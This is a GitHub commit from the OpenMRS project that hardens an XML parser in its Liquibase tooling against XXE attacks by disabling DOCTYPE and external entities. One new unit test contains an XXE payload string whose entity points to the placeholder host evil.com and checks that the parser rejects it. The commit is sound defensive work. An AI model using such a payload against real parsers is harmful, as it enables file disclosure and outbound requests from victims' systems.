TRUNK-6041: Proper Restriction of XML External Entity Reference to pr…

…event XXE attacks
openmrs · Apr 5, 2024 · 08cc6e2 · 08cc6e2
1 parent 9c950ad
commit 08cc6e2
Show file tree

Hide file tree

Showing 6 changed files with 34 additions and 8 deletions.
diff --git a/liquibase/src/main/java/org/openmrs/liquibase/AbstractSnapshotTuner.java b/liquibase/src/main/java/org/openmrs/liquibase/AbstractSnapshotTuner.java
@@ -31,6 +31,9 @@
 import org.dom4j.io.XMLWriter;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
+import org.xml.sax.EntityResolver;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
 
 /**
  * This is the base class for applying changes to generated Liquibase snapshots. This class provides
@@ -69,7 +72,7 @@ public void addLicenseHeaderToFileIfNeeded(String path) throws IOException {
 		log.info("The file '{}' already contains the OpenMRS license header.", path);
 	}
 
-	public void createUpdatedChangeLogFile(String sourcePath, String targetPath) throws DocumentException, IOException {
+	public void createUpdatedChangeLogFile(String sourcePath, String targetPath) throws DocumentException, IOException, SAXException {
 		deleteFile(targetPath);
 		log.info("Updating generated Liquibase file:  '{}'...", sourcePath);
 		Document document = readChangeLogFile(sourcePath);
@@ -130,7 +133,7 @@ boolean isLicenseHeaderInFile(String path) throws FileNotFoundException {
 		return false;
 	}
 
-	Document readChangeLogFile(String path) throws DocumentException {
+	static Document readChangeLogFile(String path) throws DocumentException, SAXException {
 		File file = Paths.get(path).toFile();
 		if (!file.exists()) {
 			log.error("The source file '{}' does not exist. Please generate both Liquibase changelog files and retry. "
@@ -139,6 +142,10 @@ Document readChangeLogFile(String path) throws DocumentException {
 			System.exit(0);
 		}
 		SAXReader reader = new SAXReader();
+		reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+		reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
+		reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+
 		Document document;
 		try {
 			document = reader.read(file);
@@ -147,9 +154,9 @@ Document readChangeLogFile(String path) throws DocumentException {
 			log.error("processing the file '{}' raised an exception", path, e);
 			throw e;
 		}
-		return document;
+        return document;
 	}
-	
+
 	Document readChangeLogResource(String resourceName) throws DocumentException, IOException {
 		Document document;
 		try (InputStream is = getResourceAsStream(resourceName)) {

diff --git a/liquibase/src/main/java/org/openmrs/liquibase/Main.java b/liquibase/src/main/java/org/openmrs/liquibase/Main.java
@@ -13,6 +13,7 @@
 import java.nio.file.Paths;
 
 import org.dom4j.DocumentException;
+import org.xml.sax.SAXException;
 
 public class Main {
 
@@ -37,7 +38,7 @@ public class Main {
 		schemaOnlyTuner = new SchemaOnlyTuner();
 	}
 
-	public static void main(String[] args) throws DocumentException, IOException {
+	public static void main(String[] args) throws DocumentException, IOException, SAXException {
 		coreDataTuner.addLicenseHeaderToFileIfNeeded(LIQUIBASE_CORE_DATA_SOURCE_PATH);
 		coreDataTuner.createUpdatedChangeLogFile(LIQUIBASE_CORE_DATA_SOURCE_PATH, LIQUIBASE_CORE_DATA_TARGET_PATH);
 		schemaOnlyTuner.addLicenseHeaderToFileIfNeeded(LIQUIBASE_SCHEMA_ONLY_SOURCE_PATH);

diff --git a/liquibase/src/test/java/org/openmrs/liquibase/AbstractSnapshotTunerTest.java b/liquibase/src/test/java/org/openmrs/liquibase/AbstractSnapshotTunerTest.java
@@ -13,6 +13,7 @@
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.equalToCompressingWhiteSpace;
 import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 
 import java.io.File;
@@ -23,6 +24,7 @@
 import java.nio.file.Path;
 import java.nio.file.Paths;
 
+import org.dom4j.DocumentException;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
 import org.junit.jupiter.api.io.TempDir;
@@ -121,4 +123,17 @@ private String readFile(File file) throws IOException {
 			return AbstractSnapshotTuner.readInputStream(is);
 		}
 	}
+
+	//TODO: This behaviour should be mocked because directly creating a vulnerable file 
+	// and attempting an XXE attack in a test environment is not recommended. 
+	// It could potentially expose the system to real attacks, even if unintentional.
+	@Test
+	public void testReadChangeLogFile_shouldThrowDocumentExceptionIncaseOfAnXxeAttack() throws Exception {
+		String xmlContent = "<!DOCTYPE root [<!ENTITY ext SYSTEM \"http://evil.com/payload\">]><root>&ext;</root>";
+		Path tempFilePath = Paths.get("test.xml");
+		Files.write(tempFilePath, xmlContent.getBytes());
+
+		assertThrows(DocumentException.class, () -> AbstractSnapshotTuner.readChangeLogFile(String.valueOf(tempFilePath)));
+		assertTrue(Files.deleteIfExists(tempFilePath)); //ensure the xml file is deleted after the assertion
+	}
 }
diff --git a/liquibase/src/test/java/org/openmrs/liquibase/CoreDataTunerTest.java b/liquibase/src/test/java/org/openmrs/liquibase/CoreDataTunerTest.java
@@ -34,6 +34,7 @@
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
 import org.junit.jupiter.api.io.TempDir;
+import org.xml.sax.SAXException;
 
 public class CoreDataTunerTest {
 
@@ -66,7 +67,7 @@ public void setup() throws DocumentException, IOException {
 	}
 
 	@Test
-	public void shouldCreateUpdatedChangeLogFile(@TempDir Path tempDir) throws DocumentException, IOException {
+	public void shouldCreateUpdatedChangeLogFile(@TempDir Path tempDir) throws DocumentException, IOException, SAXException {
 		// given
 		String sourcePath = PATH_TO_TEST_RESOURCES + File.separator + LIQUIBASE_CORE_DATA_SNAPSHOT_XML;
 		String targetPath = tempDir.resolve("liquibase-core-data-UPDATED-SNAPSHOT.xml").toString();

diff --git a/liquibase/src/test/java/org/openmrs/liquibase/MainTest.java b/liquibase/src/test/java/org/openmrs/liquibase/MainTest.java
@@ -13,14 +13,15 @@
 import org.dom4j.DocumentException;
 import org.junit.jupiter.api.Test;
 import org.mockito.Mockito;
+import org.xml.sax.SAXException;
 
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.Mockito.times;
 
 public class MainTest {
 
 	@Test
-	public void shouldCreateUpdatedSnapshotFiles() throws DocumentException, IOException {
+	public void shouldCreateUpdatedSnapshotFiles() throws DocumentException, IOException, SAXException {
 		CoreDataTuner coreDataTuner = Mockito.mock(CoreDataTuner.class);
 		SchemaOnlyTuner schemaOnlyTuner = Mockito.mock(SchemaOnlyTuner.class);
 

diff --git a/liquibase/src/test/java/org/openmrs/liquibase/SchemaOnlyTunerTest.java b/liquibase/src/test/java/org/openmrs/liquibase/SchemaOnlyTunerTest.java
@@ -34,6 +34,7 @@
 import org.junit.jupiter.api.Test;
 import org.junit.jupiter.api.io.TempDir;
 import org.mockito.Mockito;
+import org.xml.sax.SAXException;
 
 public class SchemaOnlyTunerTest {
 
@@ -60,7 +61,7 @@ public void setup() throws DocumentException, IOException {
 	}
 
 	@Test
-	public void shouldCreateUpdatedChangeLogFile(@TempDir Path tempDir) throws DocumentException, IOException {
+	public void shouldCreateUpdatedChangeLogFile(@TempDir Path tempDir) throws DocumentException, IOException, SAXException {
 		// given
 		String sourcePath = PATH_TO_TEST_RESOURCES + File.separator + LIQUIBASE_SCHEMA_ONLY_SNAPSHOT_XML;
 		String targetPath = tempDir.resolve("liquibase-schema-only-UPDATED-SNAPSHOT.xml").toString();